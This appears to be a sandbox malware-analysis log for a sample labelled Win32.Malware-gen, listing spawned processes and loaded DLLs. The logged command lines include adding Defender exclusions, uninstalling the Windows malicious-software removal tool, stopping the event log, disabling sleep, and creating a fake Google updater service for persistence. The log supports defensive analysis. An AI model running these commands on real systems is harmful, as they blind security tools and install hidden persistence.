Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process created: C:\Windows\SysWOW64\system64x.exe "C:\Windows\SysWOW64\system64x.exe"
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\Google\Chrome\updater.exe C:\ProgramData\Google\Chrome\updater.exe
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\wbem\WMIADAP.exe wmiadap.exe /F /T /R
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process created: C:\Windows\SysWOW64\system64x.exe "C:\Windows\SysWOW64\system64x.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\Google\Chrome\updater.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
